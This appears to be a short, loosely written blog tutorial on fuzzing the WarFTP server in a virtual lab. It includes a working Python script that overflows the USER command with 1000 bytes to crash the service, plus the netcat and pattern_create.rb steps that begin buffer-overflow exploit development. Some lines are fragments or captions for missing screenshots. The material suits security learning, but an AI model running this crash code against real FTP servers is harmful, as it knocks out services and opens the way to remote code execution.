Information Security: Exploit WarFTP Using Fuzzing

open warftp

Before making a simple fuzzer used to send data in potocol FTP. Scribt as below

#!/usr/bin/pyton
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="\x41"*1000
s.connect(('192.168.56.101',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD '+'\r\n')
s.close()
print("Finish")

then xfuzz.py name for that file. then open WarFTP in my Windows XP in Virtual Box and Run from WarFTP. Then the status will WarFTP IDLE. Then, try to connect using ftp from Backtrack to NC. typing the command nc 192.168.56.101 21.

then start xfuzz.py file that was created earlier to see which will happen by using the command python Warftp xfuzz.py then WarFtp will CRASH. WarFTP and when opened will display a message like this

process where we add new userr

how EIP

command in bt /pentest/exploits/framework/tools/ by using command cd /pentest/exploits/framework/tools/ .
after the command ./pattern_create.rb 1000 > string_pattern.txt
Then the data in string_pattern.txt
after the cmmand kwrite string_pattern.txt

then the display will exit kwrite